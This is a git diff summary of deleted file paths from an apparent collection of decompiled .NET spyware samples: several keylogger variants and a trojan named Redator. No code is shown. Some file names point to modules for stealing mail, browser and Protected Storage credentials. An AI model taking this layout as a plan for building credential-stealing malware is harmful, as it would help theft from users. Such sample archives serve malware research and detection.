MSIL/Trojan-Spy/MSIL/K/Trojan-Spy.MSIL.KeyLogger.ghj-a49d165972c0534f6ef5730aa1e0dd66ae9dc93656c6cd8ad725852281757a19/CType_Renamed.cs delete mode 100644 MSIL/Trojan-Spy/MSIL/K/Trojan-Spy.MSIL.KeyLogger.ghj-a49d165972c0534f6ef5730aa1e0dd66ae9dc93656c6cd8ad725852281757a19/CTypes.cs delete mode 100644 MSIL/Trojan-Spy/MSIL/K/Trojan-Spy.MSIL.KeyLogger.ghj-a49d165972c0534f6ef5730aa1e0dd66ae9dc93656c6cd8ad725852281757a19/CUtils.cs delete mode 100644 MSIL/Trojan-Spy/MSIL/K/Trojan-Spy.MSIL.KeyLogger.ghj-a49d165972c0534f6ef5730aa1e0dd66ae9dc93656c6cd8ad725852281757a19/Form1.cs delete mode 100644 MSIL/Trojan-Spy/MSIL/K/Trojan-Spy.MSIL.KeyLogger.ghj-a49d165972c0534f6ef5730aa1e0dd66ae9dc93656c6cd8ad725852281757a19/Form1.resx delete mode 100644 MSIL/Trojan-Spy/MSIL/K/Trojan-Spy.MSIL.KeyLogger.ghj-a49d165972c0534f6ef5730aa1e0dd66ae9dc93656c6cd8ad725852281757a19/FuckTheKey.cs delete mode 100644 MSIL/Trojan-Spy/MSIL/K/Trojan-Spy.MSIL.KeyLogger.ghj-a49d165972c0534f6ef5730aa1e0dd66ae9dc93656c6cd8ad725852281757a19/LAN.cs delete mode 100644 MSIL/Trojan-Spy/MSIL/K/Trojan-Spy.MSIL.KeyLogger.ghj-a49d165972c0534f6ef5730aa1e0dd66ae9dc93656c6cd8ad725852281757a19/Module1.cs delete mode 100644 MSIL/Trojan-Spy/MSIL/K/Trojan-Spy.MSIL.KeyLogger.ghj-a49d165972c0534f6ef5730aa1e0dd66ae9dc93656c6cd8ad725852281757a19/My/MyApplication.cs delete mode 100644 MSIL/Trojan-Spy/MSIL/K/Trojan-Spy.MSIL.KeyLogger.ghj-a49d165972c0534f6ef5730aa1e0dd66ae9dc93656c6cd8ad725852281757a19/My/MyComputer.cs delete mode 100644 MSIL/Trojan-Spy/MSIL/K/Trojan-Spy.MSIL.KeyLogger.ghj-a49d165972c0534f6ef5730aa1e0dd66ae9dc93656c6cd8ad725852281757a19/My/MyProject.cs delete mode 100644 MSIL/Trojan-Spy/MSIL/K/Trojan-Spy.MSIL.KeyLogger.ghj-a49d165972c0534f6ef5730aa1e0dd66ae9dc93656c6cd8ad725852281757a19/My/MySettings.cs delete mode 100644 MSIL/Trojan-Spy/MSIL/K/Trojan-Spy.MSIL.KeyLogger.ghj-a49d165972c0534f6ef5730aa1e0dd66ae9dc93656c6cd8ad725852281757a19/My/MySettingsProperty.cs delete mode 100644 MSIL/Trojan-Spy/MSIL/K/Trojan-Spy.MSIL.KeyLogger.ghj-a49d165972c0534f6ef5730aa1e0dd66ae9dc93656c6cd8ad725852281757a19/My/Resources/Resources.cs delete mode 100644 MSIL/Trojan-Spy/MSIL/K/Trojan-Spy.MSIL.KeyLogger.ghj-a49d165972c0534f6ef5730aa1e0dd66ae9dc93656c6cd8ad725852281757a19/Outlook.cs delete mode 100644 MSIL/Trojan-Spy/MSIL/K/Trojan-Spy.MSIL.KeyLogger.ghj-a49d165972c0534f6ef5730aa1e0dd66ae9dc93656c6cd8ad725852281757a19/P2P.cs delete mode 100644 MSIL/Trojan-Spy/MSIL/K/Trojan-Spy.MSIL.KeyLogger.ghj-a49d165972c0534f6ef5730aa1e0dd66ae9dc93656c6cd8ad725852281757a19/PStoreLib/ConstPStore.cs delete mode 100644 MSIL/Trojan-Spy/MSIL/K/Trojan-Spy.MSIL.KeyLogger.ghj-a49d165972c0534f6ef5730aa1e0dd66ae9dc93656c6cd8ad725852281757a19/PStoreLib/IEnumPStoreItems.cs delete mode 100644 MSIL/Trojan-Spy/MSIL/K/Trojan-Spy.MSIL.KeyLogger.ghj-a49d165972c0534f6ef5730aa1e0dd66ae9dc93656c6cd8ad725852281757a19/PStoreLib/IEnumPStoreProviders.cs delete mode 100644 MSIL/Trojan-Spy/MSIL/K/Trojan-Spy.MSIL.KeyLogger.ghj-a49d165972c0534f6ef5730aa1e0dd66ae9dc93656c6cd8ad725852281757a19/PStoreLib/IEnumPStoreTypes.cs delete mode 100644 MSIL/Trojan-Spy/MSIL/K/Trojan-Spy.MSIL.KeyLogger.ghj-a49d165972c0534f6ef5730aa1e0dd66ae9dc93656c6cd8ad725852281757a19/PStoreLib/IPStore.cs delete mode 100644 MSIL/Trojan-Spy/MSIL/K/Trojan-Spy.MSIL.KeyLogger.ghj-a49d165972c0534f6ef5730aa1e0dd66ae9dc93656c6cd8ad725852281757a19/PStoreLib/PST_ACCESSCLAUSE.cs delete mode 100644 MSIL/Trojan-Spy/MSIL/K/Trojan-Spy.MSIL.KeyLogger.ghj-a49d165972c0534f6ef5730aa1e0dd66ae9dc93656c6cd8ad725852281757a19/PStoreLib/PST_ACCESSRULE.cs delete mode 100644 MSIL/Trojan-Spy/MSIL/K/Trojan-Spy.MSIL.KeyLogger.ghj-a49d165972c0534f6ef5730aa1e0dd66ae9dc93656c6cd8ad725852281757a19/PStoreLib/PST_ACCESSRULESET.cs delete mode 100644 MSIL/Trojan-Spy/MSIL/K/Trojan-Spy.MSIL.KeyLogger.ghj-a49d165972c0534f6ef5730aa1e0dd66ae9dc93656c6cd8ad725852281757a19/PStoreLib/PST_AUTHENTICODEDATA.cs delete mode 100644 MSIL/Trojan-Spy/MSIL/K/Trojan-Spy.MSIL.KeyLogger.ghj-a49d165972c0534f6ef5730aa1e0dd66ae9dc93656c6cd8ad725852281757a19/PStoreLib/PST_BINARYCHECKDATA.cs delete mode 100644 MSIL/Trojan-Spy/MSIL/K/Trojan-Spy.MSIL.KeyLogger.ghj-a49d165972c0534f6ef5730aa1e0dd66ae9dc93656c6cd8ad725852281757a19/PStoreLib/PST_ERROR_CODE.cs delete mode 100644 MSIL/Trojan-Spy/MSIL/K/Trojan-Spy.MSIL.KeyLogger.ghj-a49d165972c0534f6ef5730aa1e0dd66ae9dc93656c6cd8ad725852281757a19/PStoreLib/PST_KEY.cs delete mode 100644 MSIL/Trojan-Spy/MSIL/K/Trojan-Spy.MSIL.KeyLogger.ghj-a49d165972c0534f6ef5730aa1e0dd66ae9dc93656c6cd8ad725852281757a19/PStoreLib/PST_PROMPTINFO.cs delete mode 100644 MSIL/Trojan-Spy/MSIL/K/Trojan-Spy.MSIL.KeyLogger.ghj-a49d165972c0534f6ef5730aa1e0dd66ae9dc93656c6cd8ad725852281757a19/PStoreLib/PST_PROVIDERINFO.cs delete mode 100644 MSIL/Trojan-Spy/MSIL/K/Trojan-Spy.MSIL.KeyLogger.ghj-a49d165972c0534f6ef5730aa1e0dd66ae9dc93656c6cd8ad725852281757a19/PStoreLib/PST_TYPEINFO.cs delete mode 100644 MSIL/Trojan-Spy/MSIL/K/Trojan-Spy.MSIL.KeyLogger.ghj-a49d165972c0534f6ef5730aa1e0dd66ae9dc93656c6cd8ad725852281757a19/PStoreLib/guidProvider.cs delete mode 100644 MSIL/Trojan-Spy/MSIL/K/Trojan-Spy.MSIL.KeyLogger.ghj-a49d165972c0534f6ef5730aa1e0dd66ae9dc93656c6cd8ad725852281757a19/PStoreLib/guidType.cs delete mode 100644 MSIL/Trojan-Spy/MSIL/K/Trojan-Spy.MSIL.KeyLogger.ghj-a49d165972c0534f6ef5730aa1e0dd66ae9dc93656c6cd8ad725852281757a19/RAR.cs delete mode 100644 MSIL/Trojan-Spy/MSIL/K/Trojan-Spy.MSIL.KeyLogger.ghj-a49d165972c0534f6ef5730aa1e0dd66ae9dc93656c6cd8ad725852281757a19/ResourceReader.cs delete mode 100644 MSIL/Trojan-Spy/MSIL/K/Trojan-Spy.MSIL.KeyLogger.ghj-a49d165972c0534f6ef5730aa1e0dd66ae9dc93656c6cd8ad725852281757a19/Resources.resx delete mode 100644 MSIL/Trojan-Spy/MSIL/K/Trojan-Spy.MSIL.KeyLogger.ghj-a49d165972c0534f6ef5730aa1e0dd66ae9dc93656c6cd8ad725852281757a19/SQLiteBase.cs delete mode 100644 MSIL/Trojan-Spy/MSIL/K/Trojan-Spy.MSIL.KeyLogger.ghj-a49d165972c0534f6ef5730aa1e0dd66ae9dc93656c6cd8ad725852281757a19/Trojan-Spy.MSIL.KeyLogger.ghj.csproj delete mode 100644 MSIL/Trojan-Spy/MSIL/K/Trojan-Spy.MSIL.KeyLogger.ghj-a49d165972c0534f6ef5730aa1e0dd66ae9dc93656c6cd8ad725852281757a19/Trojan-Spy.MSIL.KeyLogger.ghj.sln delete mode 100644 MSIL/Trojan-Spy/MSIL/K/Trojan-Spy.MSIL.KeyLogger.ghj-a49d165972c0534f6ef5730aa1e0dd66ae9dc93656c6cd8ad725852281757a19/os.cs delete mode 100644 MSIL/Trojan-Spy/MSIL/K/Trojan-Spy.MSIL.KeyLogger.ghj-a49d165972c0534f6ef5730aa1e0dd66ae9dc93656c6cd8ad725852281757a19/xxx.cs delete mode 100644 MSIL/Trojan-Spy/MSIL/K/Trojan-Spy.MSIL.KeyLogger.ghj-a49d165972c0534f6ef5730aa1e0dd66ae9dc93656c6cd8ad725852281757a19/yahoo.cs delete mode 100644 MSIL/Trojan-Spy/MSIL/K/Trojan-Spy.MSIL.KeyLogger.irg-6baa508a91305f9d0ad54c4fb4ae9aec1b030d7d1490752c3d6ba9a4d21e21d7/AssemblyInfo.cs delete mode 100644 MSIL/Trojan-Spy/MSIL/K/Trojan-Spy.MSIL.KeyLogger.irg-6baa508a91305f9d0ad54c4fb4ae9aec1b030d7d1490752c3d6ba9a4d21e21d7/Program.cs delete mode 100644 MSIL/Trojan-Spy/MSIL/K/Trojan-Spy.MSIL.KeyLogger.irg-6baa508a91305f9d0ad54c4fb4ae9aec1b030d7d1490752c3d6ba9a4d21e21d7/Trojan-Spy.MSIL.KeyLogger.irg.csproj delete mode 100644 MSIL/Trojan-Spy/MSIL/K/Trojan-Spy.MSIL.KeyLogger.irg-6baa508a91305f9d0ad54c4fb4ae9aec1b030d7d1490752c3d6ba9a4d21e21d7/Trojan-Spy.MSIL.KeyLogger.irg.sln delete mode 100644 MSIL/Trojan-Spy/MSIL/K/Trojan-Spy.MSIL.KeyLogger.jfp-a5d03ea1ab998622c25e0f7dbf38a720c5bf31fe0bd1808586ee20044e123772/AssemblyInfo.cs delete mode 100644 MSIL/Trojan-Spy/MSIL/K/Trojan-Spy.MSIL.KeyLogger.jfp-a5d03ea1ab998622c25e0f7dbf38a720c5bf31fe0bd1808586ee20044e123772/Form1.cs delete mode 100644 MSIL/Trojan-Spy/MSIL/K/Trojan-Spy.MSIL.KeyLogger.jfp-a5d03ea1ab998622c25e0f7dbf38a720c5bf31fe0bd1808586ee20044e123772/Form1.resx delete mode 100644 MSIL/Trojan-Spy/MSIL/K/Trojan-Spy.MSIL.KeyLogger.jfp-a5d03ea1ab998622c25e0f7dbf38a720c5bf31fe0bd1808586ee20044e123772/Module1.cs delete mode 100644 MSIL/Trojan-Spy/MSIL/K/Trojan-Spy.MSIL.KeyLogger.jfp-a5d03ea1ab998622c25e0f7dbf38a720c5bf31fe0bd1808586ee20044e123772/My/MyApplication.cs delete mode 100644 MSIL/Trojan-Spy/MSIL/K/Trojan-Spy.MSIL.KeyLogger.jfp-a5d03ea1ab998622c25e0f7dbf38a720c5bf31fe0bd1808586ee20044e123772/My/MyComputer.cs delete mode 100644 MSIL/Trojan-Spy/MSIL/K/Trojan-Spy.MSIL.KeyLogger.jfp-a5d03ea1ab998622c25e0f7dbf38a720c5bf31fe0bd1808586ee20044e123772/My/MyProject.cs delete mode 100644 MSIL/Trojan-Spy/MSIL/K/Trojan-Spy.MSIL.KeyLogger.jfp-a5d03ea1ab998622c25e0f7dbf38a720c5bf31fe0bd1808586ee20044e123772/My/MySettings.cs delete mode 100644 MSIL/Trojan-Spy/MSIL/K/Trojan-Spy.MSIL.KeyLogger.jfp-a5d03ea1ab998622c25e0f7dbf38a720c5bf31fe0bd1808586ee20044e123772/My/MySettingsProperty.cs delete mode 100644 MSIL/Trojan-Spy/MSIL/K/Trojan-Spy.MSIL.KeyLogger.jfp-a5d03ea1ab998622c25e0f7dbf38a720c5bf31fe0bd1808586ee20044e123772/My/Resources/Resources.cs delete mode 100644 MSIL/Trojan-Spy/MSIL/K/Trojan-Spy.MSIL.KeyLogger.jfp-a5d03ea1ab998622c25e0f7dbf38a720c5bf31fe0bd1808586ee20044e123772/Resources.resx delete mode 100644 MSIL/Trojan-Spy/MSIL/K/Trojan-Spy.MSIL.KeyLogger.jfp-a5d03ea1ab998622c25e0f7dbf38a720c5bf31fe0bd1808586ee20044e123772/Trojan-Spy.MSIL.KeyLogger.jfp.csproj delete mode 100644 MSIL/Trojan-Spy/MSIL/K/Trojan-Spy.MSIL.KeyLogger.jfp-a5d03ea1ab998622c25e0f7dbf38a720c5bf31fe0bd1808586ee20044e123772/Trojan-Spy.MSIL.KeyLogger.jfp.sln delete mode 100644 MSIL/Trojan-Spy/MSIL/K/Trojan-Spy.MSIL.KeyLogger.jfp-eb435cb8aa395a686c2ec0b5da425f674e7253fbc98eca186fa2f25fff096417/AssemblyInfo.cs delete mode 100644 MSIL/Trojan-Spy/MSIL/K/Trojan-Spy.MSIL.KeyLogger.jfp-eb435cb8aa395a686c2ec0b5da425f674e7253fbc98eca186fa2f25fff096417/Form1.cs delete mode 100644 MSIL/Trojan-Spy/MSIL/K/Trojan-Spy.MSIL.KeyLogger.jfp-eb435cb8aa395a686c2ec0b5da425f674e7253fbc98eca186fa2f25fff096417/Form1.resx delete mode 100644 MSIL/Trojan-Spy/MSIL/K/Trojan-Spy.MSIL.KeyLogger.jfp-eb435cb8aa395a686c2ec0b5da425f674e7253fbc98eca186fa2f25fff096417/Module1.cs delete mode 100644 MSIL/Trojan-Spy/MSIL/K/Trojan-Spy.MSIL.KeyLogger.jfp-eb435cb8aa395a686c2ec0b5da425f674e7253fbc98eca186fa2f25fff096417/My/MyApplication.cs delete mode 100644 MSIL/Trojan-Spy/MSIL/K/Trojan-Spy.MSIL.KeyLogger.jfp-eb435cb8aa395a686c2ec0b5da425f674e7253fbc98eca186fa2f25fff096417/My/MyComputer.cs delete mode 100644 MSIL/Trojan-Spy/MSIL/K/Trojan-Spy.MSIL.KeyLogger.jfp-eb435cb8aa395a686c2ec0b5da425f674e7253fbc98eca186fa2f25fff096417/My/MyProject.cs delete mode 100644 MSIL/Trojan-Spy/MSIL/K/Trojan-Spy.MSIL.KeyLogger.jfp-eb435cb8aa395a686c2ec0b5da425f674e7253fbc98eca186fa2f25fff096417/My/MySettings.cs delete mode 100644 MSIL/Trojan-Spy/MSIL/K/Trojan-Spy.MSIL.KeyLogger.jfp-eb435cb8aa395a686c2ec0b5da425f674e7253fbc98eca186fa2f25fff096417/My/MySettingsProperty.cs delete mode 100644 MSIL/Trojan-Spy/MSIL/K/Trojan-Spy.MSIL.KeyLogger.jfp-eb435cb8aa395a686c2ec0b5da425f674e7253fbc98eca186fa2f25fff096417/My/Resources/Resources.cs delete mode 100644 MSIL/Trojan-Spy/MSIL/K/Trojan-Spy.MSIL.KeyLogger.jfp-eb435cb8aa395a686c2ec0b5da425f674e7253fbc98eca186fa2f25fff096417/Resources.resx delete mode 100644 MSIL/Trojan-Spy/MSIL/K/Trojan-Spy.MSIL.KeyLogger.jfp-eb435cb8aa395a686c2ec0b5da425f674e7253fbc98eca186fa2f25fff096417/Trojan-Spy.MSIL.KeyLogger.jfp.csproj delete mode 100644 MSIL/Trojan-Spy/MSIL/K/Trojan-Spy.MSIL.KeyLogger.jfp-eb435cb8aa395a686c2ec0b5da425f674e7253fbc98eca186fa2f25fff096417/Trojan-Spy.MSIL.KeyLogger.jfp.sln delete mode 100644 MSIL/Trojan-Spy/MSIL/K/Trojan-Spy.MSIL.KeyLogger.jfp-fe85e9d426a79c3f0598b4509c0e689f9406da6604d2d4a0d2d7ae8e74a23709/AssemblyInfo.cs delete mode 100644 MSIL/Trojan-Spy/MSIL/K/Trojan-Spy.MSIL.KeyLogger.jfp-fe85e9d426a79c3f0598b4509c0e689f9406da6604d2d4a0d2d7ae8e74a23709/Form1.cs delete mode 100644 MSIL/Trojan-Spy/MSIL/K/Trojan-Spy.MSIL.KeyLogger.jfp-fe85e9d426a79c3f0598b4509c0e689f9406da6604d2d4a0d2d7ae8e74a23709/Form1.resx delete mode 100644 MSIL/Trojan-Spy/MSIL/K/Trojan-Spy.MSIL.KeyLogger.jfp-fe85e9d426a79c3f0598b4509c0e689f9406da6604d2d4a0d2d7ae8e74a23709/My/MyApplication.cs delete mode 100644 MSIL/Trojan-Spy/MSIL/K/Trojan-Spy.MSIL.KeyLogger.jfp-fe85e9d426a79c3f0598b4509c0e689f9406da6604d2d4a0d2d7ae8e74a23709/My/MyComputer.cs delete mode 100644 MSIL/Trojan-Spy/MSIL/K/Trojan-Spy.MSIL.KeyLogger.jfp-fe85e9d426a79c3f0598b4509c0e689f9406da6604d2d4a0d2d7ae8e74a23709/My/MyProject.cs delete mode 100644 MSIL/Trojan-Spy/MSIL/K/Trojan-Spy.MSIL.KeyLogger.jfp-fe85e9d426a79c3f0598b4509c0e689f9406da6604d2d4a0d2d7ae8e74a23709/My/MySettings.cs delete mode 100644 MSIL/Trojan-Spy/MSIL/K/Trojan-Spy.MSIL.KeyLogger.jfp-fe85e9d426a79c3f0598b4509c0e689f9406da6604d2d4a0d2d7ae8e74a23709/My/MySettingsProperty.cs delete mode 100644 MSIL/Trojan-Spy/MSIL/K/Trojan-Spy.MSIL.KeyLogger.jfp-fe85e9d426a79c3f0598b4509c0e689f9406da6604d2d4a0d2d7ae8e74a23709/My/Resources/Resources.cs delete mode 100644 MSIL/Trojan-Spy/MSIL/K/Trojan-Spy.MSIL.KeyLogger.jfp-fe85e9d426a79c3f0598b4509c0e689f9406da6604d2d4a0d2d7ae8e74a23709/Resources.resx delete mode 100644 MSIL/Trojan-Spy/MSIL/K/Trojan-Spy.MSIL.KeyLogger.jfp-fe85e9d426a79c3f0598b4509c0e689f9406da6604d2d4a0d2d7ae8e74a23709/Trojan-Spy.MSIL.KeyLogger.jfp.csproj delete mode 100644 MSIL/Trojan-Spy/MSIL/K/Trojan-Spy.MSIL.KeyLogger.jfp-fe85e9d426a79c3f0598b4509c0e689f9406da6604d2d4a0d2d7ae8e74a23709/Trojan-Spy.MSIL.KeyLogger.jfp.sln delete mode 100644 MSIL/Trojan-Spy/MSIL/K/Trojan-Spy.MSIL.KeyLogger.qqc-8459fc94f3d58ee15579a5804217b56ce046b6ec56620a3633c9f389d220cbc2/443248CC0414BFB56CD5DC6EEC944A5F67233D02 delete mode 100644 MSIL/Trojan-Spy/MSIL/K/Trojan-Spy.MSIL.KeyLogger.qqc-8459fc94f3d58ee15579a5804217b56ce046b6ec56620a3633c9f389d220cbc2/AssemblyInfo.cs delete mode 100644 MSIL/Trojan-Spy/MSIL/K/Trojan-Spy.MSIL.KeyLogger.qqc-8459fc94f3d58ee15579a5804217b56ce046b6ec56620a3633c9f389d220cbc2/T40.cs delete mode 100644 MSIL/Trojan-Spy/MSIL/K/Trojan-Spy.MSIL.KeyLogger.qqc-8459fc94f3d58ee15579a5804217b56ce046b6ec56620a3633c9f389d220cbc2/T44.cs delete mode 100644 MSIL/Trojan-Spy/MSIL/K/Trojan-Spy.MSIL.KeyLogger.qqc-8459fc94f3d58ee15579a5804217b56ce046b6ec56620a3633c9f389d220cbc2/Trojan-Spy.MSIL.KeyLogger.qqc.csproj delete mode 100644 MSIL/Trojan-Spy/MSIL/K/Trojan-Spy.MSIL.KeyLogger.qqc-8459fc94f3d58ee15579a5804217b56ce046b6ec56620a3633c9f389d220cbc2/Trojan-Spy.MSIL.KeyLogger.qqc.sln delete mode 100644 MSIL/Trojan-Spy/MSIL/K/Trojan-Spy.MSIL.KeyLogger.qqc-8459fc94f3d58ee15579a5804217b56ce046b6ec56620a3633c9f389d220cbc2/_003CModule_003E.cs delete mode 100644 MSIL/Trojan-Spy/MSIL/R/Trojan-Spy.MSIL.Redator.a-0ffe71461f45eb03a9be8c4511c61dda546931a131248a9b132be930c160388f/AssemblyInfo.cs delete mode 100644 MSIL/Trojan-Spy/MSIL/R/Trojan-Spy.MSIL.Redator.a-0ffe71461f45eb03a9be8c4511c61dda546931a131248a9b132be930c160388f/SmartAssembly/Attributes/PoweredByAttribute.cs delete mode 100644 MSIL/Trojan-Spy/MSIL/R/Trojan-Spy.MSIL.Redator.a-0ffe71461f45eb03a9be8c4511c61dda546931a131248a9b132be930c160388f/Trojan-Spy.MSIL.Redator.a.csproj delete mode 100644 MSIL/Trojan-Spy/MSIL/R/Trojan-Spy.MSIL.Redator.a-0ffe71461f45eb03a9be8c4511c61dda546931a131248a9b132be930c160388f/Trojan-Spy.MSIL.Redator.a.sln delete mode 100644 MSIL/Trojan-Spy/MSIL/R/Trojan-Spy.MSIL.Redator.a-0ffe71461f45eb03a9be8c4511c61dda546931a131248a9b132be930c160388f/_0001/_0001.cs delete mode 100644 MSIL/Trojan-Spy/MSIL/R/Trojan-Spy.MSIL.Redator.a-0ffe71461f45eb03a9be8c4511c61dda546931a131248a9b132be930c160388f/_0001/_0002.cs delete mode 100644 MSIL/Trojan-Spy/MSIL/R/Trojan-Spy.MSIL.Redator.a-0ffe71461f45eb03a9be8c4511c61dda546931a131248a9b132be930c160388f/_0001/_0003.cs delete mode 100644 MSIL/Trojan-Spy/MSIL/R/Trojan-Spy.MSIL.Redator.a-0ffe71461f45eb03a9be8c4511c61dda546931a131248a9b132be930c160388f/_0002/_0001.cs delete mode 100644 MSIL/Trojan-Spy/MSIL/R/Trojan-Spy.MSIL.Redator.a-0ffe71461f45eb03a9be8c4511c61dda546931a131248a9b132be930c160388f/_0002/_0002.cs delete mode 100644 MSIL/Trojan-Spy/MSIL/R/Trojan-Spy.MSIL.Redator.a-0ffe71461f45eb03a9be8c4511c61dda546931a131248a9b132be930c160388f/_0002/_0003.cs delete mode 100644 MSIL/Trojan-Spy/MSIL/R/Trojan-Spy.MSIL.Redator.a-0ffe71461f45eb03a9be8c4511c61dda546931a131248a9b132be930c160388f/_0003/_0001.cs delete mode 100644 MSIL/Trojan-Spy/MSIL/R/Trojan-Spy.MSIL.Redator.a-0ffe71461f45eb03a9be8c4511c61dda546931a131248a9b132be930c160388f/_0003/_0002.cs delete mode 100644 MSIL/Trojan-Spy/MSIL/R/Trojan-Spy.MSIL.Redator.a-0ffe71461f45eb03a9be8c4511c61dda546931a131248a9b132be930c160388f/_0003/_0003.cs delete mode 100644 MSIL/Trojan-Spy/MSIL/R/Trojan-Spy.MSIL.Redator.a-0ffe71461f45eb03a9be8c4511c61dda546931a131248a9b132be930c160388f/_0004/_0001.cs delete mode 100644 MSIL/Trojan-Spy/MSIL/R/Trojan-Spy.MSIL.Redator.a-0ffe71461f45eb03a9be8c4511c61dda546931a131248a9b132be930c160388f/_0004/_0002.cs delete mode 100644 MSIL/Trojan-Spy/MSIL/R/Trojan-Spy.MSIL.Redator.a-0ffe71461f45eb03a9be8c4511c61dda546931a131248a9b132be930c160388f/_0004/_0003.cs delete mode 100644 MSIL/Trojan-Spy/MSIL/R/Trojan-Spy.MSIL.Redator.a-0ffe71461f45eb03a9be8c4511c61dda546931a131248a9b132be930c160388f/_0005/_0001.cs delete mode 100644 MSIL/Trojan-Spy/MSIL/R/Trojan-Spy.MSIL.Redator.a-0ffe71461f45eb03a9be8c4511c61dda546931a131248a9b132be930c160388f/_0005/_0002.cs delete mode 100644 MSIL/Trojan-Spy/MSIL/R/Trojan-Spy.MSIL.Redator.a-0ffe71461f45eb03a9be8c4511c61dda546931a131248a9b132be930c160388f/_0005/_0003.cs delete mode 100644 MSIL/Trojan-Spy/MSIL/R/Trojan-Spy.MSIL.Redator.a-0ffe71461f45eb03a9be8c4511c61dda546931a131248a9b132be930c160388f/_0006/_0001.cs delete mode 100644 MSIL/Trojan-Spy/MSIL/R/Trojan-Spy.MSIL.Redator.a-0ffe71461f45eb03a9be8c4511c61dda546931a131248a9b132be930c160388f/_0006/_0002.cs delete mode 100644 MSIL/Trojan-Spy/MSIL/R/Trojan-Spy.MSIL.Redator.a-0ffe71461f45eb03a9be8c4511c61dda546931a131248a9b132be930c160388f/_0006/_0003.cs delete mode 100644 MSIL/Trojan-Spy/MSIL/R/Trojan-Spy.MSIL.Redator.a-0ffe71461f45eb03a9be8c4511c61dda546931a131248a9b132be930c160388f/_0007/_0001.cs delete mode 100644 MSIL/Trojan-Spy/MSIL/R/Trojan-Spy.MSIL.Redator.a-0ffe71461f45eb03a9be8c4511c61dda546931a131248a9b132be930c160388f/_003CModule_003E.cs delete mode 100644 MSIL/Trojan-Spy/MSIL/R/Trojan-Spy.MSIL.Redator.a-0ffe71461f45eb03a9be8c4511c61dda546931a131248a9b132be930c160388f/{22542804-11a8-4fba-88a0-b451cddbacb6} delete mode 100644 MSIL/Trojan-Spy/MSIL/R/Trojan-Spy.MSIL.Redator.a-0ffe71461f45eb03a9be8c4511c61dda546931a131248a9b132be930c160388f/{ec6fbd32-3576-4d40-b4a5-7808ea9cda7f} delete mode 100644 MSIL/Trojan-Spy/MSIL/R/Trojan-Spy.MSIL.Redator.a-a676d1ab529ccd4de171c2caa0cf6a0e3a6f2ad515fcc76ba420581168da84db/AssemblyInfo.cs delete mode 100644 MSIL/Trojan-Spy/MSIL/R/Trojan-Spy.MSIL.Redator.a-a676d1ab529ccd4de171c2caa0cf6a0e3a6f2ad515fcc76ba420581168da84db/SmartAssembly/Attributes/PoweredByAttribute.cs delete mode 100644 MSIL/Trojan-Spy/MSIL/R/Trojan-Spy.MSIL.Redator.a-a676d1ab529ccd4de171c2caa0cf6a0e3a6f2ad515fcc76ba420581168da84db/Trojan-Spy.MSIL.Redator.a.csproj delete mode 100644 MSIL/Trojan-Spy/MSIL/R/Trojan-Spy.MSIL.Redator.a-a676d1ab529ccd4de171c2caa0cf6a0e3a6f2ad515fcc76ba420581168da84db/Trojan-Spy.MSIL.Redator.a.sln delete mode 100644 MSIL/Trojan-Spy/MSIL/R/Trojan-Spy.MSIL.Redator.a-a676d1ab529ccd4de171c2caa0cf6a0e3a6f2ad515fcc76ba420581168da84db/_0001/_0001.cs delete mode 100644 MSIL/Trojan-Spy/MSIL/R/Trojan-Spy.MSIL.Redator.a-a676d1ab529ccd4de171c2caa0cf6a0e3a6f2ad515fcc76ba420581168da84db/_0001/_0002.cs delete mode 100644 MSIL/Trojan-Spy/MSIL/R/Trojan-Spy.MSIL.Redator.a-a676d1ab529ccd4de171c2caa0cf6a0e3a6f2ad515fcc76ba420581168da84db/_0001/_0003.cs delete mode 100644 MSIL/Trojan-Spy/MSIL/R/Trojan-Spy.MSIL.Redator.a-a676d1ab529ccd4de171c2caa0cf6a0e3a6f2ad515fcc76ba420581168da84db/_0002/_0001.cs delete mode 100644 MSIL/Trojan-Spy/MSIL/R/Trojan-Spy.MSIL.Redator.a-a676d1ab529ccd4de171c2caa0cf6a0e3a6f2ad515fcc76ba420581168da84db/_0002/_0002.cs delete mode 100644 MSIL/Trojan-Spy/MSIL/R/Trojan-Spy.MSIL.Redator.a-a676d1ab529ccd4de171c2caa0cf6a0e3a6f2ad515fcc76ba420581168da84db/_0002/_0003.cs delete mode 100644 MSIL/Trojan-Spy/MSIL/R/Trojan-Spy.MSIL.Redator.a-a676d1ab529ccd4de171c2caa0cf6a0e3a6f2ad515fcc76ba420581168da84db/_0003/_0001.cs delete mode 100644 MSIL/Trojan-Spy/MSIL/R/Trojan-Spy.MSIL.Redator.a-a676d1ab529ccd4de171c2caa0cf6a0e3a6f2ad515fcc76ba420581168da84db/_0003/_0002.cs delete mode 100644 MSIL/Trojan-Spy/MSIL/R/Trojan-Spy.MSIL.Redator.a-a676d1ab529ccd4de171c2caa0cf6a0e3a6f2ad515fcc76ba420581168da84db/_0003/_0003.cs delete mode 100644 MSIL/Trojan-Spy/MSIL/R/Trojan-Spy.MSIL.Redator.a-a676d1ab529ccd4de171c2caa0cf6a0e3a6f2ad515fcc76ba420581168da84db/_0004/_0001.cs delete mode 100644 MSIL/Trojan-Spy/MSIL/R/Trojan-Spy.MSIL.Redator.a-a676d1ab529ccd4de171c2caa0cf6a0e3a6f2ad515fcc76ba420581168da84db/_0004/_0002.cs delete mode 100644 MSIL/Trojan-Spy/MSIL/R/Trojan-Spy.MSIL.Redator.a-a676d1ab529ccd4de171c2caa0cf6a0e3a6f2ad515fcc76ba420581168da84db/_0004/_0003.cs delete mode 100644 MSIL/Trojan-Spy/MSIL/R/Trojan-Spy.MSIL.Redator.a-a676d1ab529ccd4de171c2caa0cf6a0e3a6f2ad515fcc76ba420581168da84db/_0005/_0001.cs delete mode 100644 MSIL/Trojan-Spy/MSIL/R/Trojan-Spy.MSIL.Redator.a-a676d1ab529ccd4de171c2caa0cf6a0e3a6f2ad515fcc76ba420581168da84db/_0005/_0002.cs delete mode 100644 MSIL/Trojan-Spy/MSIL/R/Trojan-Spy.MSIL.Redator.a-a676d1ab529ccd4de171c2caa0cf6a0e3a6f2ad515fcc76ba420581168da84db/_0005/_0003.cs delete mode 100644 MSIL/Trojan-Spy/MSIL/R/Trojan-Spy.MSIL.Redator.a-a676d1ab529ccd4de171c2caa0cf6a0e3a6f2ad515fcc76ba420581168da84db/_0006/_0001.cs delete mode 100644 MSIL/Trojan-Spy/MSIL/R/Trojan-Spy.MSIL.Redator.a-a676d1ab529ccd4de171c2caa0cf6a0e3a6f2ad515fcc76ba420581168da84db/_0006/_0002.cs delete mode 100644 